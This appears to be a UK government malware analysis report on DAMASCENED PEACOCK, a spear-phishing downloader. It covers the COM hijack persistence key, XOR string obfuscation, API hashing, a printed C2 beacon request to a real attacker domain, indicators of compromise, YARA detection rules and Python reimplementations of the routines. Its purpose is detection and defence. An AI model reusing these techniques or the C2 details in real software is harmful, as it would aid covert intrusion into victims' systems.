National Cyber Security Centre
a part of GCHQ

Ministry of Defence

Malware Analysis Report

DAMASCENED PEACOCK

A lightweight, staged downloader targeting Windows, delivered via spear-phishing.

Version 1

11 April 2025

DAMASCENED PEACOCK

A lightweight, staged downloader targeting Windows, delivered via spear-phishing.

Executive summary

- DAMASCENED PEACOCK is a lightweight downloader targeting Windows.
- The analysed sample was for 32-bit (x86) Windows. It supports downloading a 64-bit onward stage.
- The malware was observed in a spear-phishing campaign which took place in late 2024.
- DAMASCENED PEACOCK is downloaded and executed by a code signed first stage.
- DAMASCENED PEACOCK is the second of 3 stages and is responsible for downloading the final stage and executing it via a COM Hijack.
- DAMASCENED PEACOCK implements Defence Evasion techniques such as XOR based string obfuscation and dynamic resolution of Win32 APIs.

Introduction

DAMASCENED PEACOCK was observed during a spear-phishing campaign in late 2024 targeting the UK Ministry of Defence (MOD).

MOD detected a spear-phishing campaign targeting staff with the aim of delivering malware. The initial campaign consisted of two emails with a journalistic theme attempting to represent a news organisation. The second campaign followed a financial theme, directing targets to a commercial file share. The infection chain used multiple redirects to evade detection in both campaigns. Links were only live for three days, matching the adversary's deadlines in the spear-phishing emails to increase urgency.

Malware details

Metadata

Filename	Doc_03.10.24.298133.exe
Description	1st stage, Original Filename (PE Metadata): PortDocFormat.exe
Size	256,384 bytes
MD5	e0c48d62c4d484b6dd4a601970df5d0e
SHA-1	1bd5b9fec7ccc29144989203c3b15a10c9c22a76
SHA-256	31a8a2762b42a1fe4be2aed9d112a169f791bd86a85e68d738aea51312096442
Compile time	03/10/2024 11:23:58
Signed	CN = FUTURICO LLC, Serial = 4132BA96E2D9FEEB537DA74C

Filename	Unknown
Description	DAMASCENED PEACOCK, Original Filename (PE Metadata): XcsExplorerDll_x86.dll
Size	134,114 bytes
MD5	e400ec98fc8a6b7212fc18cf8321ba16
SHA-1	8c25b982e5e4b3418b779c85b8ac8a6acf393063
SHA-256	804dc9c037e9d0e5426cb1f0df8dde61cd43cf6ea4c27cf526c2d6ac50ba3e95
Compile time	03/10/2024 09:14:32

Functionality

Overview

Targets were sent a link in a spear-phishing email which ultimately redirects to download a signed first stage hosted on `temp[.]sh`. The malware (`Doc_03.10.24.298133.exe`) has a filename and icon which indicates it is a PDF.

1. A phishing email is received, containing a link which redirects the user to download an executable.
2. A signed first stage executable, written in Rust, with a name and icon to indicate it is a PDF file, is downloaded and run by the victim.
3. When run, the first stage downloads and displays a decoy PDF, alongside downloading and launching the next stage, DAMASCENED PEACOCK from the domain `journalctl[.]website`.
4. DAMASCENED PEACOCK is a Dynamic Link Library (DLL) which is loaded and run within the process of the first stage.
5. DAMASCENED PEACOCK downloads and runs the final stage by registering a COM Hijack into the `explorer.exe` process.

The analysis in this report will focus on the DAMASCENED PEACOCK stage of this infection chain.

DAMASCENED PEACOCK is a downloader, implemented as a 32-bit (x86) DLL with a single export named `DllExport` containing the malicious functionality. It contains several defence evasion techniques to avoid detection via static means.

XOR obfuscation is used on strings including Win32 function names for dynamic resolution, the command and control (C2) domain and the registry key for the Component Object Model (COM) hijack.

The malware's functionality is concise; a portable executable file is downloaded from the configured C2 domain and written to disk as `%LOCALAPPDATA%\KeyStore\KeyProv.dll`. This is then loaded into the `explorer.exe` process via a COM Hijack.

Malware Variants

DAMASCENED PEACOCK is a variant of RustyClaw[1] and SnipBot[2] documented by Talos and Palo Alto respectively, with both being part of the wider RomCom malware family. The distinct difference with DAMASCENED PEACOCK is it is now split over two stages rather than being one i.e. DAMASCENED PEACOCK is a stage between RustyClaw and DustyHammock.

Persistence

DAMASCENED PEACOCK uses a COM Hijack to persist and gain execution for a payload it downloads (the third stage), by replacing the entry in the below registry key which is loaded by `explorer.exe`.

```
SOFTWARE\Classes\CLSID\{F82B4EF1-93A9-4DDE-8015-F7950A1A6E31}\InprocServer32
```

Figure 1: COM Hijack

If DAMASCENED PEACOCK cannot open the above registry key, then it will exit and cease further execution.

The key in Figure 1 is associated with the Microsoft Synchronization Framework and originally points to `%SystemRoot%\system32\Syncreg.dll`, the malware changes this value to `%LOCALAPPDATA%\KeyStore\KeyProv.dll`.

To trigger the COM Hijack, DAMASCENED PEACOCK terminates the `explorer.exe` process (via a call to `TerminateProcess`). It does this by iterating processes and looking for the first one which has an executable image name of `explorer.exe`.

Note: *DAMASCENED PEACOCK makes no attempt to restart the `explorer.exe` process. However, testing showed that Windows automatically restarts `explorer.exe` within a few seconds of it being terminated. This behaviour would be noticeable to the user. In other variants the `explorer.exe` process was killed and restarted via `cmd.exe`.*

---

[1] https://blog.talosintelligence.com/uat-5647-romcom/

[2] https://unit42.paloaltonetworks.com/snipbot-romcom-malware-variant/

Defence Evasion

String Obfuscation

DAMASCENED PEACOCK uses an XOR based inline string obfuscation algorithm, with multiple variations observed throughout the code. Configuration strings used in the malware are obfuscated and loaded onto the stack to be deobfuscated.

The obfuscated strings are longer than their deobfuscated form i.e. there are redundant bytes on the end of the obfuscated strings which are never deobfuscated. A length parameter is used to ensure only the correct number of bytes from the start of the string are deobfuscated.

For each obfuscated string there are 4 seed values used. Two remain constant, and two are updated throughout the algorithm. The algorithm uses the seed values and arithmetic to generate 2-byte XOR keys which are then applied to the obfuscated string.

Note: *The compiled string obfuscation code is almost certainly more complex than the source code, this could be because it was written for 64-bit systems and has been compiled to 32-bit. This is indicated by usage of a function call to* `_allmul` *which is a function used for 64-bit multiplication on a 32-bit system.*

An implementation of the algorithm in Python can be found in Appendix 1.

Dynamic Resolution

DAMASCENED PEACOCK dynamically resolves required Win32 functions using API hashes, meaning the function names aren't present in the binary.

To resolve its required functions, DAMASCENED PEACOCK parses the Thread Environment Block (TEB), then the Process Environment Block (PEB) to retrieve the base address of `kernel32.dll` in memory. It then locates and iterates its export table to match the required symbols.

The API hashing algorithm is long and appears to be unique, implementing multiple rotate right (ror) operations, additions and multiplications as well as using fixed constants. Appendix 2 provides a reimplementation of the algorithm in Python.

Code Signing
DAMASCENED PEACOCK executes within the process space of the first stage downloader, which is code signed. It then executes the next stage within the `explorer.exe` process via a COM Hijack.

Other previously reported variants were also code signed, indicating the actor has ready access to code signing certificates. The code signing certificate used to sign the first stage can be found in Appendix 3.

Communications

DAMASCENED PEACOCK is proxy aware and uses the WinHTTP APIs to communicate with its C2 server over HTTP, on port 8080. This version is configured to beacon to the domain `apimonger[.]com`.

Beacon
DAMASCENED PEACOCK sends a HTTP POST request to retrieve the third stage which is saved to disk and loaded via a COM Hijack, as discussed in the Functionality (Persistence) section.

The initial bytes `0xFFFF` are hardcoded and the payload requested is either set to `get_update_manager64` or `get_update_manager32` based on a check the malware does on whether the victim host is a 32-bit or 64-bit installation of Windows. The User-Agent and domain are configuration strings, as discussed in the Defence Evasion (String Obfuscation) section. An example beacon is shown on Figure 2 below.

Data structure
POST / HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.3.7.22 Safari/537.36 Content-Length: 36 Host: apimonger.com:8080 \xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00get_update_manager64
Fixed beacon indicator (hex) | 14 null bytes (hex) | Payload requested (ASCII)

Figure 2: DAMASCENED PEACOCK beacon

Conclusion

DAMASCENED PEACOCK is a concise downloader. The methods of delivery for the malware across campaigns are relatively consistent, along with the techniques observed in the loading stages of the malware, albeit with DAMASCENED PEACOCK having minor modifications to previously documented samples.

Multiple campaigns in 2024 -including the one which DAMASCENED PEACOCK was observed in - all used code signed first stages, indicating the actor has a repeatable method of procurement for code signing certificates.

Detection

Indicators of compromise

Type	Description	Values
Domain	C2 domain for DAMASCENED PEACOCK	`apimonger[.]com`
URL	URL serving DAMASCENED PEACOCK	`journalctl[.]website/asldajEPqew`
Path	Malware downloads 3rd stage to here.	`%LOCALAPPDATA%\KeyStore\KeyProv.dll`

Rules and signatures

Description	Targets a code pattern which is used to resolve APIs in the first stage which loads DAMASCENED PEACOCK.
Precision	No false positives identified in VirusTotal retrohunts, identifies loaders across multiple campaigns.
Rule type	YARA

```
rule DAMASCENED_PEACOCK_resolve_apis {
    meta:
        author = "NCSC"
        description = "Targets a code pattern which is used to resolve
APIs in the first stage which loads DAMASCENED PEACOCK."
        hash1 = "1bd5b9fec7ccc29144989203c3b15a10c9c22a76"

    strings:
          $ = {56 31 C0 85 D2 74 1D 0F B6 31 41 4A 69 F6 [4] 0F AF F6 C1
C6 10 31 C6 0F AF F6 C1 C6 10 89 F0 EB DF 5E C3}
    condition:
          (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550
and all of them
}
```

Description	This rule targets a code pattern in DAMASCENED PEACOCK which sees the resolved pointer for `WinHttpConnect` retrieved from a struct, arguments pushed e.g. `8080` as the port, and then a call.
Precision	No false positives identified in VirusTotal retrohunts.
Rule type	YARA

```
rule DAMASCENED_PEACOCK_winhttpconnect {
    meta:
        author = "NCSC"
        description = "This rule targets a code pattern in DAMASCENED
PEACOCK which sees the resolved pointer for WinHttpConnect retrieved from
a struct, arguments pushed e.g. 8080 as the port, and then a call."
        hash1 = "8c25b982e5e4b3418b779c85b8ac8a6acf393063"

    strings:
        $ = {8B 85 90 00 00 00 6A 00 68 90 1F 00 00 FF 76 34 FF 33 FF D0}
    condition:
        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and
all of them
}
```

Description	This rule targets code patterns for pushing the hash onto the stack and then moving the returned pointer into a structure in DAMASCENED PEACOCK.
Precision	No false positives identified in VirusTotal retrohunts.
Rule type	YARA

```
rule DAMASCENED_PEACOCK_API_hashes {
    meta:
        author = "NCSC"
        description = "This rule targets code patterns for pushing the
hash onto the stack and then moving the returned pointer into a structure
in DAMASCENED PEACOCK."
        hash1 = "8c25b982e5e4b3418b779c85b8ac8a6acf393063"

    strings:
        $ = {68 1A 81 A8 01} // push hash
        $ = {83 C4 04 89 46 04} // move result into struct

        $ = {68 7D 53 AE 52}
        $ = {83 C4 04 89 46 08}

        $ = {68 59 6F 3C 00}
        $ = {83 C4 04 89 46 0C}

        $ = {68 6B 9A C6 E1}
        $ = {83 C4 04 89 46 10}

        $ = {68 32 A9 7C 08}
        $ = {83 C4 04 89 46 14}

        $ = {68 76 EE 30 8A}
        $ = {83 C4 04 89 46 18}

    condition:
        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and
all of them

}
```

Description	This rule targets the code in DAMASCENED PEACOCK used for generating an API hash. The rule is agnostic of the constants used to generate the hash.
Precision	No false positives identified in VirusTotal retrohunts.
Rule type	YARA

```
rule DAMASCENED_PEACOCK_API_hashing_algorithm {
    meta:
        author = "NCSC"
        description = "This rule targets the code in DAMASCENED PEACOCK
used for generating an API hash. The rule is agnostic of the constants
used to generate the hash."
        hash1 = "8c25b982e5e4b3418b779c85b8ac8a6acf393063"

    strings:
        $ =
{8D0C0669C9[4]8D5201C1C9??81C1[4]03C1C1C8??0FAFC60FBE3203C08BC8C1C8??C1C9
??85F6}
    condition:
        any of them
}
```

Description	This rule targets the original name and export name in DAMASCENED PEACOCK.
Precision	No false positives identified in VirusTotal retrohunts.
Rule type	YARA

```
rule DAMASCENED_PEACOCK_strings {
    meta:
        author = "NCSC"
        description = "This rule targets the original name and export
name in DAMASCENED PEACOCK."
        hash1 = "8c25b982e5e4b3418b779c85b8ac8a6acf393063"

    strings:
        $ = "XcsExplorerDll_x86.dll"
        $ = "DllExport"
    condition:
        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and
all of them
}
```

MITRE ATT&CK®

This report has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.

Tactic	ID	Technique	Procedure
Reconnaissance	T1592	Gather Victim Host Information	DAMASCENED PEACOCK checks whether the victim host is 32-bit or 64-bit to determine the appropriate next stage to download.
Initial Access	T1566.002	Phishing: Spearphishing Link	DAMASCENED PEACOCK is executed by a first stage that is delivered via a link in an email.
Execution	T1204.002	User Execution: Malicious File	DAMASCENED PEACOCK is executed by a first stage which is reliant upon the user running the file.
	T1559.001	Inter-Process Communication: Component Object Model	DAMASCENED PEACOCK achieves execution for the 3rd stage it downloads by COM Hijacking `explorer.exe`.
Defence Evasion	T1140	Obfuscated Files or Information: Encrypted/Encoded File	DAMASCENED PEACOCK XOR encodes configuration strings used throughout.
	T1027.007	Obfuscated Files or Information: Dynamic API Resolution	DAMASCENED PEACOCK uses an API hashing algorithm combined with Dynamic Resolution of Win32 APIs to obfuscate functionality.

	T1553.002	Subvert Trust Controls: Code Signing	The first stage of the malware is signed, meaning DAMASCENED PEACOCK executes within a signed, malicious process.
	T1036	Masquerading	The first stage of DAMASCENED PEACOCK is an executable with an icon and filename indicating it is a PDF.
Command and Control	T1071.001	Application Layer Protocol: Web Protocols	DAMASCENED PEACOCK communicates with the command and control server over HTTP.

Appendices

Appendix 1 – String Obfuscation Code

```
def allmul(a,b,c,d):
    if (b | d) == 0:
        z = a*c
        place_1 = z & 0x00000000FFFFFFFF
        place_2 = (z & 0xFFFFFFFF00000000) >> 32
        place_1 = place_1 & 0xFFFFFFFF
        place_2 = place_2 & 0xFFFFFFFF
        return place_1, place_2

    place_3 = b*c
    place_1 = place_3 & 0x00000000FFFFFFFF
    place_2 = (place_3 & 0xFFFFFFFF00000000) >> 32
    place_3 = place_1

    x = a*d
    place_1 = x & 0x00000000FFFFFFFF
    place_2 = (x & 0xFFFFFFFF00000000) >> 32
    place_3+=place_1
    place_3 = place_3 & 0xFFFFFFFF

    y = a*c
    place_1 = y & 0x00000000FFFFFFFF
    place_2 = (y & 0xFFFFFFFF00000000) >> 32
    place_2+=place_3

    place_1 = place_1 & 0xFFFFFFFF
    place_2 = place_2 & 0xFFFFFFFF
    return place_1, place_2


seed_1 = 0x1135043B
seed_2 = 0x9505C381
seed_3 = 0xC642F717
seed_4 = 0x78C1011F

obf_string =
b"\x62\xFA\x13\x22\xFE\xE1\x30\x56\x85\x6F\x81\xF7\x28\xB7\xDC\x7E\xD9\x82\x
3B\xD8\x90\x54\x66\xCD\xF0\xDA"
plaintext = ""
count = 1

for i in range(0,len(obf_string),2):
    seed_2 = seed_2 << 1
    seed_1_temp = seed_1 >> 31
    seed_2 = (seed_2 | seed_1_temp) & 0xFFFFFFFF
    seed_1 *= 2
    seed_1 & 0xFFFFFFFF
    #allmul
    ret_1, ret_2 = allmul(seed_3, seed_4, 0x44ABDE01, 0x723F4E0E)
    seed_3 = ret_2
    trailing_bit = (ret_2 << 31) & 0xFFFFFFFF
    ret_1_temp = ret_1 >> 1
    ret_2 = trailing_bit | ret_1_temp
    seed_3 = seed_3 >> 1
    ret_1 = (ret_1 << 31) & 0xFFFFFFFF
    seed_4 = 0
```

```
    seed_4 = seed_4 | ret_2
    seed_3 = seed_3 | ret_1
    ret_1 = seed_2
    seed_2 = 0
    seed_2 = seed_2 | seed_1
    ret_1 = ret_1 + seed_3
    if ret_1 & 0xFFFFFFFF00000000 > 0:
        carry = 1
    else:
        carry = 0
    ret_1 = ret_1 & 0xFFFFFFFF
    seed_1 = ret_1
    seed_2 = (carry + seed_2 + seed_4) & 0xFFFFFFFF
    ret_1 *= 2
    ret_1 = ret_1 & 0xFFFFFFFF
    seed_1 = seed_1 >> 31
    seed_2_temp = seed_2 << 1
    seed_1 = (seed_1 | seed_2_temp) & 0xFFFFFFFF
    seed_2 = (seed_2 >> 31) | ret_1
    xor_key = seed_1 & 0xFFFF
    byt = bytearray([obf_string[i+1], obf_string[i]])

    plaintext += chr((xor_key ^ int.from_bytes(byt, 'big')))
    count +=1

print(plaintext)
# apimonger.com
```

Appendix 2 – API Hashing Algorithm

```
def ror(dword, bits):
    return (dword >> bits | dword << (32-bits)) & 0xFFFFFFFF

seed_hash = 0xA2672A3B

function_name = "LoadLibraryW"

seed = 0

for i in function_name:
    hash = seed_hash
    hash += ord(i)
    hash *= 0x8F35D6E4
    hash &= 0xFFFFFFFF
    hash = ror(hash,17)
    hash += 0x8F35D6E4
    hash &= 0xFFFFFFFF
    hash += seed_hash
    hash &= 0xFFFFFFFF
    hash = ror(hash,15)
    hash *= ord(i)
    hash &= 0xFFFFFFFF
    hash *= 2
    hash &= 0xFFFFFFFF
    hash_end = ror(hash,16)
    hash = ror(hash, 14)
    seed_hash = hash

print("Hash for",function_name,":",hex(hash_end))
```

Appendix 3 – Code Signing Certificate

```
Version:          3 (0x02)
Serial number:    201778530728919623454780066O4 (0x4132ba96e2d9feeb537da74c)
Algorithm ID:     SHA256withRSA
Validity
  Not Before:     03/09/2024 12:52:44 (dd-mm-yyyy hh:mm:ss) (240903125244Z)
  Not After:      04/09/2025 12:52:44 (dd-mm-yyyy hh:mm:ss) (250904125244Z)
Issuer
  C  = BE
  O  = GlobalSign nv-sa
  CN = GlobalSign GCC R45 EV CodeSigning CA 2020
Subject
  businessCategory              = Private Organization
  serialNumber                  = 1247700385536
  jurisdictionOfIncorporationC  = RU
  jurisdictionOfIncorporationSP = Moscow
  C                             = RU
  ST                            = Moscow
  L                             = Moscow
  STREET                        = per 3-y Krasnosel'skiy, 19 \/ stroyeniye 4
pomeshch 53n
  O                             = FUTURICO LLC
  CN                            = FUTURICO LLC
Public Key
  Algorithm:      RSA
  Length:         4096 bits
  Modulus:        a3:cf:71:0f:c6:c0:83:6e:e8:6d:bf:38:fa:d6:b9:4b:
                  1a:ac:73:43:62:37:40:af:d8:8d:d2:bb:18:2a:72:85:
                  5b:20:ab:1a:09:97:8b:7a:52:da:48:bc:9e:bd:f9:e8:
                  b6:b7:36:72:03:7c:df:be:c6:88:8a:20:d5:0a:00:3b:
                  30:14:f0:f6:f1:cb:78:94:73:97:cf:de:7d:93:7d:58:
                  4a:0c:da:18:c9:3f:03:21:18:0f:a4:e3:e9:8c:4e:7f:
                  52:56:7f:0f:49:7d:92:79:5f:5d:54:51:3b:29:00:84:
                  f7:6a:cd:18:a7:7e:a8:39:49:44:c1:09:03:f3:1d:f6:
                  ef:73:b4:bb:6a:5d:21:88:b0:ef:8d:46:46:e4:93:ae:
                  87:b9:25:9b:77:44:f5:da:4d:e9:67:b2:ad:cf:c3:06:
                  b6:20:f5:ef:b5:68:50:40:76:1a:28:91:68:99:54:10:
                  ce:6c:c2:06:09:63:46:2c:d7:07:be:5c:3b:76:45:86:
                  5d:9f:12:ff:1e:36:31:7e:19:2f:c5:77:f9:c2:8d:0d:
                  95:ca:a6:2e:18:a4:e2:0d:8e:e6:e5:3f:0a:58:f2:e8:
                  f9:7e:a8:18:20:7d:a1:69:18:56:dd:3f:b8:fe:9a:6d:
                  a4:a8:2f:f6:2d:e8:c8:73:c0:7f:15:f4:36:2f:28:07:
                  47:02:d7:6f:2b:d2:4d:76:0d:f0:b1:69:36:36:1a:6c:
                  eb:1b:4c:a2:eb:8e:68:cf:c3:e1:ee:60:12:ea:55:12:
                  d0:04:81:b1:5b:dc:77:04:20:6d:32:3d:f3:8b:c9:ea:
                  ab:16:d3:c4:91:dd:1f:69:66:a5:56:ef:c6:f1:32:96:
                  ae:af:be:ff:43:a4:7c:26:2d:4c:33:60:55:18:14:6f:
                  37:84:66:94:08:71:fd:a3:1f:06:83:d1:7e:27:a8:12:
                  75:3c:bd:b5:25:2b:ac:04:32:1c:3e:52:31:2f:b7:50:
                  b1:33:fd:cd:c8:b9:3c:3b:12:38:f8:60:15:58:92:18:
                  dd:7d:ab:64:01:88:88:b6:69:d2:13:5c:87:e1:a3:17:
                  d8:e6:6c:19:2c:c8:65:3b:04:b0:e2:da:6e:6b:9a:9c:
                  3a:75:81:33:d8:f1:28:e3:8d:d5:60:0f:1d:1a:0a:85:
                  0d:73:b0:cc:17:5b:3f:af:55:c4:0a:13:a2:04:06:a4:
                  d0:cb:20:42:80:7a:c2:8f:15:b4:71:66:65:8a:f6:63:
                  b4:a5:e8:3b:3a:41:b2:65:ca:78:3b:4e:8b:15:51:12:
                  41:45:b3:6c:2f:b1:12:60:aa:95:2f:c4:55:73:31:d3:
                  8e:c0:59:29:36:51:b4:b5:ac:f6:6e:5c:49:01:1e:a1
  Exponent:       65537 (0x10001)
Certificate Signature
```

```
  Algorithm:       SHA256withRSA
  Signature:       01:8c:3f:12:9c:09:26:c4:3a:ab:86:0f:3d:39:67:d4:
                   12:44:f5:ff:c7:31:7a:17:d8:44:5f:0c:d9:f0:2d:3e:
                   b7:a7:c9:67:52:c6:d8:5a:1f:66:af:e7:6d:b5:80:bd:
                   a7:a8:cf:5e:8e:7c:f9:3d:b4:90:ba:40:d1:67:e5:2d:
                   78:33:15:15:e3:a0:0a:96:8c:f3:ac:7b:f9:d5:14:09:
                   e8:b7:b7:43:62:5e:c4:a0:f7:74:33:67:f9:63:fe:0c:
                   66:41:3f:f2:59:de:d0:90:61:32:0a:96:c5:14:f7:b3:
                   e7:4a:93:2a:6a:ca:74:ef:28:21:52:c9:af:57:d6:82:
                   a0:8a:dd:90:a8:c5:00:12:b2:15:be:8f:a6:d3:9d:6a:
                   96:74:87:88:66:66:63:fe:61:53:69:95:b5:82:be:9e:
                   8b:77:65:76:55:ad:ef:79:70:03:0d:7e:5a:bd:b0:04:
                   ce:7c:53:30:03:40:eb:9f:c6:bb:bf:dc:8e:8a:f0:9b:
                   83:d2:4d:06:c5:7d:94:53:e1:ae:4d:c1:8e:f3:99:33:
                   8d:72:f7:9a:e4:13:a5:28:cb:c8:28:a1:8c:82:31:8d:
                   2f:23:4b:1d:47:e2:fc:20:52:56:96:b1:cc:f2:28:2f:
                   ee:78:d5:9c:fb:67:bd:83:16:00:df:7d:14:97:b9:35:
                   31:5f:08:48:5d:3b:4d:75:49:11:f7:5d:6f:d0:47:89:
                   73:52:30:15:39:d3:b0:9e:2f:53:a7:da:61:07:68:ef:
                   72:a0:63:33:54:8b:9b:ef:c6:e8:b8:22:4a:1f:7f:63:
                   5c:cf:43:07:86:18:32:a3:12:79:9e:26:6d:bc:2c:60:
                   ce:b4:49:44:d2:cd:24:8a:d5:88:e2:ab:ae:bc:fd:ba:
                   8b:cd:96:cb:0f:00:93:8f:62:69:62:11:ac:e9:11:ed:
                   1a:51:38:b0:5a:4c:ab:51:14:8d:1a:14:f8:ee:65:0d:
                   30:ff:5c:d1:60:a1:12:e4:d1:29:3c:ec:ee:a8:9f:e2:
                   93:f7:f3:a6:cb:34:d3:e7:65:00:d9:eb:cf:17:77:52:
                   7c:e6:c6:a9:d6:ff:37:a7:a1:c0:89:fb:a1:90:cb:79:
                   6b:62:6b:e6:1b:23:7d:b4:ff:28:4b:46:61:b6:12:f9:
                   17:77:ec:43:49:4f:d1:94:0f:12:9b:d6:30:25:07:1f:
                   0f:80:7b:93:cd:b6:6e:41:e5:4a:09:28:4d:02:8b:e0:
                   61:a1:45:09:7d:95:b2:fb:68:de:7f:5b:ec:8b:ec:57:
                   36:c7:ab:30:a4:0d:44:96:42:69:a6:4f:67:78:89:f7:
                   e1:5e:ce:c2:14:ea:17:4c:b5:ae:33:9c:74:fb:4d:7a

Extensions
  keyUsage CRITICAL:
    digitalSignature
  authorityInfoAccess :
    ocsp: http://ocsp.globalsign.com/gsgccr45evcodesignca2020
    caissuer:
http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt
  certificatePolicies :
    policy oid: 1.3.6.1.4.1.4146.1.2
    cps: https://www.globalsign.com/repository/
    policy oid: 2.23.140.1.3
  basicConstraints :
    {}
  cRLDistributionPoints :
    http://crl.globalsign.com/gsgccr45evcodesignca2020.crl
  extKeyUsage :
    codeSigning
  authorityKeyIdentifier :
    kid=259dd0fc59098663c5ecf3b1133b571c03923611
  subjectKeyIdentifier :
    265e7db22d82c101ed7de205878d923618087bf8
```

Disclaimer

This report draws on information derived from NCSC, MOD and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times.

This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.

Refer any FOIA queries to ncscinfoleg@ncsc.gov.uk.